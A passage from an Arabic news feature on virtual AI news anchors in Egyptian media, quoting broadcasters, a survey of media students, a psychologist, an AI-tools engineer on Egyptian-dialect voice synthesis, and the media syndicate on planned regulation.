وتوضح أن الذكاء الاصطناعي قادر على تجميع المعلومات الدينية من الإنترنت، لكنه لا يمكن أن يعوّض التفاعل الإنساني في الفتوى أو المشورة، مشددة على أن “العلماء والشيوخ هم أصحاب علم وتجربة ووعي بالسياق”، في حين أن الذكاء الاصطناعي مجرد محرك بحث يخضع لبرمجة بشرية قد تخطئ.

وتؤمن دعاء بأن المذيع البشري لا يمكن استبداله، خاصة في البرامج ذات الطابع الديني أو الإنساني، لأن “الفنان أو المذيع كتلة من المشاعر”، بينما الذكاء الاصطناعي “لا يستطيع البكاء الحقيقي، ولا التعبير عن الحزن أو التفاعل مع موقف موجع”، مضيفة أن العقل البشري قادر على تمييز المشاعر الحقيقية من الزائفة، حتى وإن كانت البرمجة متقنة.

وفيما يخص التكيف مع التطور، تدعو فاروق الإعلاميين إلى مواكبة أدوات العصر وفهم الذكاء الاصطناعي، لكن دون التخلي عن الهوية الإنسانية والبصمة الشخصية، قائلة: “كل مذيع له بصمة لا يمكن للذكاء الاصطناعي تقليدها”، فالاعتماد على الورقة والقلم وحده لم يعد كافيًا، ويجب على الإعلامي أن يتواصل مع جمهور اليوم بأدوات حديثة دون التفريط بروحه الإنسانية.

وتقر بوجود تهديدات من الذكاء الاصطناعي لبعض الوظائف الروتينية، لكنها تؤكد أنه لن يحل محل من يخاطب الناس ويشعر بهم، مضيفة: “لم أشاهد روبوتًا يمكن أن أصدقه أو أرتبط به عاطفيًا، الذكاء الاصطناعي سيبقى بلا روح.”

وفي ختام حديثها، توجّه رسالة إلى الإعلاميين الشباب، تحثهم فيها على الصبر وتجنّب استعجال الشهرة أو الثراء، مشددة على أن “النجاح الحقيقي لا يأتي في يوم وليلة”، بل هو نجاح تراكمي يُبنى بالتعب والمتابعة والزرع الدائم، مؤكدة أن النجاح السريع يزول سريعًا، بينما النجاح المتين هو من يصنع الاسم والقيمة الجماهيرية.

 الإعلامية “ايتن الموجى

حيث ترى الإعلامية آيتن الموجي أن التكنولوجيا أحدثت تطورًا كبيرًا في جميع المجالات، خاصة الإعلام، لما له من دور في تشكيل الوعي. وتصف فكرة “المذيع الافتراضي” بأنها رائعة، نظرًا لما يتمتع به من ثقافة موسوعية وخلوه من العيوب البشرية مثل التقدم في العمر أو تغير الشكل، كما ترى أن وجوده قد يخلق غيرة مهنية إيجابية تدفع المذيعين البشريين لبذل جهد أكبر من أجل التميز.

مع ذلك، تؤكد أن المذيع الافتراضي يفتقر إلى الجانب الإنساني، مثل المشاعر ولمعة العين والتفاعل الحي في المواقف الإنسانية، مشيرة إلى أن هذه التفاصيل لا يمكن أن يتقنها الذكاء الاصطناعي. وتوضح أن بعض الأنماط الإعلامية مثل الحوارات، تغطية الجرائم، الحروب، وبرامج المسابقات، تحتاج إلى حضور بشري حقيقي وتفاعل مباشر لا يستطيع “الأفاتار” تقديمه.

وتشدد الموجي على أن الخبرة والتجارب الشخصية تصقل الإنسان وتمنحه نضجًا لا يمكن للتكنولوجيا أن تحاكيه، مشبهة الذكاء الاصطناعي بأنه قد يبهر في البداية لكن سرعان ما يصيب المستخدم بالملل بسبب إجاباته المبرمجة. وتؤمن بأهمية مواكبة الإعلاميين للتطور التكنولوجي، مع ضرورة التواضع والتعلم المستمر.

أما تأثير المذيع الافتراضي على فرص العمل، فتعتقد أنه سيكون ملموسًا في البداية، إذ قد تفضل بعض المؤسسات الاعتماد عليه كحل أقل تكلفة، لكنها ترى أن المذيع البشري سيظل مميزًا، مرجحة أن يظهر مستقبلًا تعاون أو تناغم بين الطرفين يُنتج أفكارًا مبتكرة وجديدة.

 الاعلامى – احمد سالم

كما يرى الإعلامي أحمد سالم أن المذيعين الافتراضيين لا يشكّلون تهديدًا حقيقيًا للمذيع البشري، لأن التواصل الإنساني لا يمكن تعويضه. ويشير إلى أن التجربة الممتدة لأكثر من عام لم تنتج مذيعًا افتراضيًا لافتًا، مؤكدًا أن الإعلام والفنون تقوم على التفاعل المباشر، وهو ما يفتقر إليه الذكاء الاصطناعي.

ويُبرز سالم أن الميزة الكبرى للمذيع البشري تكمن في رأيه الحي وغير المبرمج، على عكس الذكاء الاصطناعي الذي يعتمد على تغذية مسبقة، موضحًا أن طرح نفس السؤال على عشرة مذيعين سينتج عشر إجابات مختلفة، وهو ما لا يمكن تحقيقه افتراضيًا.

ويؤكد أن البرامج التي تعتمد على بصمة المذيع وطابعه الشخصي يصعب أن ينجح فيها الذكاء الاصطناعي، لأن الثقافة العامة والخبرة الشخصية لا تُبرمجان، مشبّهًا الفرق بين المحتوى الآلي والإنساني بالفرق بين مقال كتبه روبوت وقصيدة كتبها شاعر، فـالموهبة لا تُستنسخ.

ويرى أن الذكاء الاصطناعي يمكن أن يكون أداة مفيدة للمذيع في جمع وتحليل المعلومات، لكن تبقى الصنعة الإعلامية في جوهرها إنسانية. ورغم أنه لا يتوقع تقليصًا مباشرًا للوظائف، إلا أنه يحذر من تأثيرات الواقع الافتراضي على سوق العمل، كما حدث في مهن أخرى، لكنه يؤمن بأن التطور يخلق أيضًا فرصًا جديدة للابتكار.

ويعتبر أن دور المذيع الافتراضي سيبقى محدودًا في النشرات الجافة والمواد غير التفاعلية، ساخرًا من أدائه بقوله: “دمه تقيل”، في إشارة لغياب القبول الجماهيري.

وفي ختام حديثه، ينصح الإعلاميين الشباب بـتنمية ثقافتهم وتطوير أنفسهم للحفاظ على تفوقهم الإنساني، مؤكدًا أن المعرفة والوعي هما الضمان الحقيقي لبقاء الإنسان في الصدارة.

 الإعلامى – طه الحديري

ويرى الإعلامي طه الحديري أن المذيع الافتراضي، رغم دقته وكفاءته التقنية، يفتقر للروح، وهي أهم ما يميز الإنسان، مؤكدًا أن التكنولوجيا لا تستطيع محاكاة مشاعر المذيع البشري أو التعبير الحقيقي عن المواقف الإنسانية، مثل قصة أم شهيد أو حوار مع طفل يتيم، لأن أداؤه قائم على برمجة مسبقة تفتقر للنضج والتراكم الشعوري.

ويؤكد أن المذيع الافتراضي محكوم بالمعلومات التي زُوِّد بها ولا يمكنه الإبداع أو الخروج عنها، على عكس المذيع البشري الذي يحلل ويتأقلم مع الواقع. ويضرب مثالًا بنموذج ذكي وصف ترامب بأنه “رجل اقتصاد قوي”، في حين أن الإعلاميين البشريين قدموا تحليلات أدق وتوقعوا الرفض العالمي لسياساته.

ويشير إلى أن البرامج الفنية والإنسانية والشعرية يصعب على الذكاء الاصطناعي أن ينافس فيها، لأنها تتطلب تذوقًا إنسانيًا حقيقيًا لا يمكن برمجته. ويستشهد ببرنامج افتراضي عن الأغاني، موضحًا أن المذيع البشري يمكنه استحضار روح الشاعر والمعنى العاطفي للأغنية، بينما الافتراضي يكتفي بسرد معلومات.

ويعتبر أن الذكاء الاصطناعي ليس بديلاً، بل حافزًا لتطوير المذيع البشري، مشددًا على أن زمن الظهور التلفزيوني القائم على الشكل والترند قد انتهى، وأن الاستمرار في المجال يعتمد على المحتوى، والثقافة، والقدرة على فهم الجمهور.

ويحذّر الإعلاميين الجدد من الاعتماد على النقل النظري والتكرار، داعيًا إلى تقديم تحليلات وتجارب واقعية بدلًا من نصوص محفوظة، لأن الجمهور بات أكثر وعيًا ويصعب التأثير فيه بمظهر أو صوت جميل فقط.

وفي ختام رأيه، يؤكد الحديري أن الذكاء الاصطناعي لن يحل محل الإنسان، بل يرى مستقبلًا قائمًا على التكامل بين الطرفين، بحيث يكون الذكاء الاصطناعي مساعدًا ومرجعًا، ويظل الإعلامي البشري هو من يمنح الشاشة الروح التي لا تُستنسخ.

 هل نُعدّ طلاب الإعلام لمهنة قد تختفي؟

رغم التطور المتسارع لتقنيات الذكاء الاصطناعي واقتحامها مجالات الإعلام، ما زال المذيع الافتراضي يواجه تحديات تتعلق بثقة الجمهور، وقبول المتلقي، وغياب الحس الإنساني، كما تكشف آراء طلاب الإعلام الذين شاركوا في هذا الاستبيان.

في إجاباتهم حول الفروقات الجوهرية بين المذيع البشري ونظيره الافتراضي، اتفقت الغالبية على أن العنصر الإنساني يمثل جوهر العمل الإعلامي. فأداء المذيع البشري لا يقتصر على نقل المعلومة، بل يمتد إلى إيصال المشاعر، والتفاعل اللحظي مع الجمهور، والقدرة على الارتجال، وهي عناصر وصفها أحد المشاركين بأنها “لا يمكن صناعتها آليًا مهما تطورت التكنولوجيا”.

وعند سؤالهم عن الهوية الإعلامية، أجمعت الآراء تقريبًا على أهمية الحفاظ على الإنسان كجزء من عملية التواصل الإعلامي. “روح الإنسان”، “المصداقية”، و” القدرة على التغيير المجتمعي” كانت كلمات تكررت مرارًا، في تعبير واضح عن القلق من أن يؤدي الاعتماد الكلي على الذكاء الاصطناعي إلى تجريد الإعلام من وظيفته التشاركية والوجدانية.

أما عند عرض مشاهد لمذيعين افتراضيين، تنوعت مشاعر المشاركين بين القلق، الغرابة، وعدم الارتياح. وعبّر البعض عن شعور “بالخوف” أو “عدم المصداقية”، وهو ما يعكس فجوة كبيرة لا تزال قائمة بين تطور التكنولوجيا ومستوى تقبل الجمهور لها.

ومن زاوية سوق العمل، أبدى 75% من المشاركين خشيتهم من أن تؤدي هذه التقنية إلى تقليص الفرص المستقبلية للكوادر الإعلامية. ورغم أن قلةً رأت أنها قد تخلق فرصًا جديدة، إلا أن هذه الرؤية ما تزال محدودة أمام مخاوف الإقصاء المهني.

وعن سؤال قدرة المذيع الافتراضي على إعداد المحتوى والتفاعل كمراسل، رفضت الأغلبية الفكرة، مشيرة إلى أن الإعلامي البشري لا يُستبدل، لما يملكه من وعي وسياق وقراءة للمواقف لا يمكن برمجتها بسهولة.

اللافت أن الآراء انقسمت بالتساوي عندما طُرح سؤال مباشر حول الثقة في محتوى يقدمه مذيع افتراضي، ما يشير إلى أن الذكاء الاصطناعي قد يكسب مساحة من الثقة، لكنها لا تزال محدودة ومشروطة

 وجه جميل وصوت دقيق… لكن أين التعاطف؟

ومن الزاوية النفسية، يشير د. وليد هندي، استشاري الصحة النفسية، إلى أن المذيع الافتراضي – رغم كونه إنجازًا تقنيًا لافتًا – يظل كيانًا ناقصًا نفسيًا، يفتقد إلى مقومات التأثير الوجداني العميق في الجمهور. فهو لا يمتلك هوية نفسية متكاملة، ولا يُتيح مساحة للتفاعل العاطفي الحقيقي، الذي يُعدّ أحد أهم عناصر التأثير الإعلامي. ويضيف: “رغم أن هذه الشخصيات الرقمية قد تُسهّل إيصال المحتوى لبعض الفئات كالمكفوفين أو غير المتعلمين، إلا أنها لا تُعوض الأثر النفسي الذي يتركه المذيع البشري في وعي ووجدان المتلقي”.

 يرى هندي أن شخصية الأفاتار تفتقر لما يُعرف في علم النفس بـ” الاستبصار” أو “الإدراك التصحيحي”، إذ إنها تُردد ما تتلقاه من بيانات دون مراجعة أو وعي، مما يجعلها عرضة لتكرار الأخطاء دون تمييز. ويشير إلى أن المذيع الحقيقي وحده من يملك هذه القدرة النفسية على مراجعة الذات، والتفاعل مع الموقف بناءً على خلفية وجدانية وشخصية متكاملة.

 في لحظات الألم، كعرض مشاهد الحرب أو الكوارث، أو في لحظات الفرح، كفوز فريق وطني، يبرز الفرق الجوهري بين الإنسان والآلة. المذيع البشري قد تتغير نبرته، ينكسر صوته، يبكي، يضحك، ويتلعثم. كلها إشارات نفسية تُحدث أثرًا عاطفيًا لدى المتلقي، وتُفعّل ما يُعرف في علم النفس بـ” التناغم الشعوري”. بينما يظل الأفاتار محايدًا، بارداً، وكأنه يقرأ من ورقة.

 ويضيف: “المذيع الحقيقي يملك مهارات ارتجال فريدة تُعرف بالاحتواء اللحظي، فينقذ الموقف حين يحدث خلل على الهواء أو فراغ في البث، أما المذيع الافتراضي فمحكوم ببرمجة جامدة لا تعترف بالحساسية النفسية للحظة”.

 كما يشير إلى جانب نفسي بالغ الأهمية، وهو “الانتماء المهني”، والذي يتشكل من مشاعر فخر، وكفاح، وتاريخ طويل من النجاحات والانكسارات. المذيع البشري ابن المؤسسة التي يعمل بها، يشعر تجاهها، يدافع عنها، يتألم لألمها ويفرح بنجاحها. وهو ما يستحيل زرعه في شخصية افتراضية خالية من العاطفة.

 ويتابع حديثه بالإشارة إلى أثر المذيع البشري في تكوين الطموح لدى الأطفال والمراهقين، مؤكدًا أن هذه الشخصيات تشكّل قدوة نفسية حقيقية، تُغذّي الخيال والهوية. “كنت أتتبع المذيع أحمد سمير، وأقلده في صوته وربطة عنقه، وتكوّنت لدي رغبة حقيقية في أن أكون مثله… فهل يمكن للطفل أن يحلم أن يكون أفاتار؟!”.

 ويختم الدكتور وليد هندي بقوله: “رغم إعلان دول كبرى – مثل الصين – عن آلاف من المذيعين الافتراضيين، لم نرَ لهم تأثيرًا نفسيًا أو وجدانيًا يُذكر. ببساطة، لأنهم يفتقرون للروح، والروح هي أساس كل تواصل إنساني حقيقي. المذيع الافتراضي… وهم عظيم تقنيًا، لكنه فقير وجدانيًا

مهندس ذكاء اصطناعي: اللهجة المصرية.. تحدٍ مستمر للآلة

صرح المهندس أحمد رأفت، مهندس ميكانيكا ومتخصص في أدوات الذكاء الاصطناعي، حول استخدام تقنيات الذكاء الاصطناعي في مجال الصوت والفيديو، مسلطًا الضوء على التحديات والفرص المتاحة.

وأوضح المهندس رأفت أن استخدام تقنيات الصوت يمر بمراحل متدرجة، تبدأ بتقنية “النص إلى كلام” التقليدية، والتي وصفها بأنها ذات جودة محدودة وتبدو ميكانيكية. وأشار إلى المستوى الثاني الذي يستخدم منصات الذكاء الاصطناعي باللغة الإنجليزية لإنتاج صوت يقترب من اللهجة المصرية، ولكنه لا يرتقي إلى جودة اللهجة الأصلية.

 أما المستوى الثالث، وفقًا لتصريحات المهندس رأفت، فيعتمد على تسجيل الصوت بلهجة مصرية طبيعية واستخدام برامج تغيير الصوت لمحاكة أصوات شخصيات معينة، معتبرًا هذه الطريقة الأعلى جودة للوصول إلى لهجة مصرية واقعية.

 وفيما يتعلق بالمستوى الرابع والأعلى، لفت المهندس إلى أنه يعتمد على كتابة النص بالعربية الفصحى أو العامية وتشكيله لغويًا، ثم استخدام نماذج مدربة على نطق اللهجة المصرية، مع الإشارة إلى التحديات القائمة نظرًا لعدم تدريب معظم النماذج بشكل كافٍ على هذه اللهجة.

 أكد المهندس رأفت على أن “اللكنة المصرية تحديدًا تُعد من أصعب اللهجات التي يمكن للذكاء الاصطناعي محاكاتها بدقة، وذلك لأنها خليط لغوي يجمع بين عدة لغات، مما يجعل إتقانها تحديًا لنماذج الذكاء الاصطناعي، خاصة مع محدودية تدريبها على اللغة العربية أصلًا.”

بالانتقال إلى تجهيز الفيديو، شرح المهندس إمكانية تركيب الصوت على فيديو حقيقي أو صورة، مع الإشارة إلى منصات مثل Magic AI التي تتيح إنشاء فيديوهات أو صور متحركة بمدة محدودة في النسخة المجانية. كما تطرق إلى استخدام المواقع لمعلقين صوتيين جاهزين لإنشاء ما يُعرف بالمذيعين الافتراضيين، مع ملاحظة أن هذه الطرق قد لا تقدم أفضل جودة في التفاعل الصوتي والتعبير عن المشاعر.

 وفي ختام تصريحه، أكد المهندس أحمد رأفت على أن “التفاعل الحقيقي مع الصوت والمشاعر ما يزال يتطلب تدخلاً بشريًا”، مشيرًا إلى أن المشاعر المرتبطة بنبرة الصوت لا تزال غير مدعومة بالكامل في الذكاء الاصطناعي. ولكنه نوّه إلى الميزة الاقتصادية لهذه التقنيات، حيث إن تكلفتها “منخفضة جدًا مقارنة بأجور المذيعين البشريين.”

 نقابة الإعلاميين تؤكد: الذكاء الاصطناعي فرصة لتطوير الأداء الإعلامي مع الحفاظ على الدور الإنساني

يرى أيمن عدلي مهدي، رئيس لجنة التدريب والتثقيف بنقابة الإعلاميين، أن ظاهرة المذيعين الافتراضيين تمثل انعكاسًا طبيعيًا للتطور التكنولوجي السريع الذي يشهده الإعلام، نتيجة اندماج الذكاء الاصطناعي المتزايد في إنتاج وتقديم المحتوى.

ويشير إلى أن نقابة الإعلاميين تتعامل مع هذه الظاهرة من زاويتين: الأولى: أنها قد ترفع من كفاءة الإنتاج وجودة المحتوى. الثانية: أنها تثير تساؤلات حول المصداقية والجانب الإنساني الذي لا يمكن تعويضه.

ويؤكد أن الإعلام التنموي، الذي يهدف إلى بناء الوعي المجتمعي والإنساني، لا يمكن أن يؤديه الذكاء الاصطناعي منفردًا، لأنه يتطلب تفاعلًا إنسانيًا مباشرًا لا توفره التقنيات مهما تطورت. لذلك، ترى النقابة أن المذيع الافتراضي ليس مجرد تقنية، بل عنصر جديد في المشهد الإعلامي يجب ضبطه بضوابط مهنية دقيقة، تحمي دور الإعلامي البشري في صناعة الوعي وتشكيل الرأي العام.

ورغم عدم وجود إطار تنظيمي شامل حتى الآن لضبط عمل المذيعين الافتراضيين، إلا أن النقابة تعمل بالتعاون مع المجلس الأعلى لتنظيم الإعلام على وضع آليات قانونية ومهنية تضمن التزام المحتوى المقدم عبر الذكاء الاصطناعي بالمعايير الأخلاقية والمهنية.

ويترافق هذا التوجه مع ضرورة تطوير برامج تدريبية للإعلاميين، لضمان جاهزيتهم في استخدام هذه الأدوات بكفاءة وتوازن بين التقنية والرسالة الإعلامية.

وفيما يخص مستقبل الإعلاميين مع الذكاء الاصطناعي، يؤكد عدلي أن النقابة لا تراه تهديدًا، بل فرصة كبيرة لتطوير الأداء الإعلامي، بشرط أن يُحسن الإعلاميون استخدام هذه الأدوات.

فالمهارات الجديدة، مثل التعامل مع البيانات وتحسين جودة الإنتاج، أصبحت أساسية، لكنها لا تلغي أهمية التحليل والتفاعل الإنساني وقراءة السياقات الاجتماعية والثقافية.

ويختتم بالتأكيد على وجود نية داخل النقابة لوضع مدونة سلوك وإرشادات مهنية واضحة، تتضمن: ضوابط لاستخدام المذيعين الافتراضيين، آليات لضمان الالتزام المهني، برامج تدريبية للجيل الجديد من الإعلاميين، ليكونوا مؤهلين للتعامل مع سوق إعلامي متغير لا يُقصي الإنسان، بل يتطلب منه التطور المستمر.

 المذيع الافتراضي واقع لا مفر منه، وتقنية تتطور بسرعة مذهلة، وقد تفرض نفسها في مساحات واسعة من الإعلام. لكن رغم ذلك، تبقى للمذيع البشري كاريزما خاصة، ودفء إنساني، وتفاعل حي لا يمكن تقليده أو برمجته، فالذكاء الاصطناعي قد يحفظ المعلومة، ينسّقها، يعرضها، بل وربما يتقن الإلقاء والتفاعل السطحي، لكنه يظل “بلا روح”، في حين أن المذيع الحقيقي يُشبه القصيدة الحيّة، تنبض بكل كلمة، وتنقل المعنى والمشاعر

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى